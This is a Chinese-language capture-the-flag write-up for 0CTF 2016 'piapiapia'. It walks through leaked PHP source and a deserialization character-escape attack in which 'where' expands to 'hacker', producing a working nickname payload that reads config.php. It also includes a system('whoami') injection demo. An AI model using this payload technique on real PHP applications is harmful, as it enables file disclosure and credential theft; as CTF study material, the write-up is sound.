程式碼審計[一]
[0CTF 2016]piapiapia
對著登入框一頓亂注,發現都沒什麼效果,於是轉向目錄爆破。
gobuster不知道為什麼爆不了,只能用dirsearch來了
dirsearch -u [url] -s 1 -t 10
爆到了一整個原始碼備份壓縮包,下載後進行分析
原始碼分析
index.php
對於html部分,可以見到是登入介面,就不貼出來了。而php程式碼部分:
<?php
require_once('class.php');//引入了class.php檔案
//判斷使用者是否已經登入,如果已登入就重定向到profile.php
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
//輸入限制
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
//連結到class.php的函式中,作用是和資料庫中的賬密匹配
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
那就往class.php方向走
class.php
這個檔案的篇幅很大,就拆有用的部分出來分析。
//註冊頁面驗證
public function register($username, $password) {
//呼叫 父類中的filter處理值
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
//插入資料庫中
return parent::insert($this->table, $key_list, $value_list);
}
//登入頁面查詢
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
//在資料庫中查詢是否存在此資訊
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function filter($string) {
//過濾符號 '和 \\
$escape = array('\'', '\\\\');
//用implode講元素用|連起來,做成一個正規表示式模式,下面同理
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
register.php
從class.php中,我們瞭解到那是一個處理各種情況下的資料庫操作程式碼。我們並沒有一個登入的環境session,目錄爆出來有register頁面,那就直接去註冊一個。html部分是表單,就省略了,以下是php程式碼
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
//對username和password做了輸入限制
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
//限制都透過,且資料庫沒有相同使用者下,寫入註冊資料到資料庫中,重定向到index.php
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
重定向到index.php,成功登入驗證後會跳轉到profile.php
profile.php
開啟一看是個詳細資訊補全頁面,html是展出資訊,所以依然省略。以下是php程式碼
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
//對session中的使用者到資料庫中查詢對應資訊
$profile=$user->show_profile($username);
if($profile == null) {
//若沒有任何資訊,重定向到update.php
header('Location: update.php');
}
else {
//若有資訊,則反序列化$profile
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
//注意到有一個file_get_contents函式
$photo = base64_encode(file_get_contents($profile['photo']));
?>
現在找到了一個能檔案包含的函式,結合起序列化,我們可以做一個字元逃逸的反序列化payload,但是現在不知道包含些什麼檔案,繼續往下看。
update.php
同樣,html是表單部分,不看。以下是php程式碼
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
//各種輸入過濾驗證
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
//查了一下這個函式,是講上傳檔案移動到指定位置的
//$file['tmp_name'] --原路徑
//'upload/' . md5($file['name']) --upload檔案下用md5命名每個檔案
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
//看到這裡md5,本來想試試ffifdyop的,但是跟著update_profile跳轉後,發現符號'是被過濾的,動不了手腳
//那方向明確了,就是反序列化字元逃逸,但是該包含什麼檔案?
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
?>
config.php
最後一個檔案,一看原始碼,豁然開朗了。那就檔案包含config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
反序列化字元逃逸
分析filter函式,可以看到特定字元會被過濾為hacker,而hacker有6個字元,特定字元資料中,有5/6位的字元,那麼可以構成一個字元增加利用
public function filter($string) {
//過濾符號 '和 \\
$escape = array('\'', '\\\\');
//用implode講元素用|連起來,做成一個正規表示式模式,下面同理
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
這裡貼上我之前的些筆記
字元增加的利用
$data= 'O:4:"test":2:{s:2:"v1";s:48:"lslslslslsls";s:2:"v2";s:16:"system("whoami")";}";s:2:"v3";s:3:"123";}';
//我們可以得知字元替換後長度會增加6,那麼我們可以做一些敏感命令藏在語句當中。
//比如";s:2:"v2";s:16:"system("whoami")";}這一段
$data=str_replace("ls","nohacker",$data);//2->8 eat 6
var_dump(unserialize($data));
輸出結果:
object(test)#1 (2) {
["v1"]=>
string(48) "nohackernohackernohackernohackernohackernohacker"
["v2"]=>
string(16) "system("whoami")"
}
做題
重新來看看這兩個
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
並起來一起看就有頭緒了,可以在nickname的輸入中用字元逃逸的方法擠一個config.php給photo,然後從profile.php介面圖片的base64解碼內容就是config.php的所有內容
構造payload
因為一開始忘記nickname有輸入限制,導致我構造出來的一直錯誤。所以看了網上一圈wp,發現還能用陣列方式來繞過,學到了。
nickname[]=where*34";}s:5:"photo";s:10:"config.php";}//只能是where,其他都是6位字元
經過filter函式後變成
nickname[]=hacker*34";}s:5:"photo";s:10:"config.php";}
增加的34個字元,恰好把";}s:5:"photo";s:10:"config.php";}
吐出來。而對於為什麼前面會有{
看到了一篇wp做了解析才明白,陣列在序列化中樣式會有所不同
[0CTF 2016]piapiapia WP(詳細)_[0ctf 2016]piapiapia wp-CSDN部落格
實操
註冊-->登入-->profile開始抓包
放包後訪問profile.php,檢視圖片原始碼,base64解碼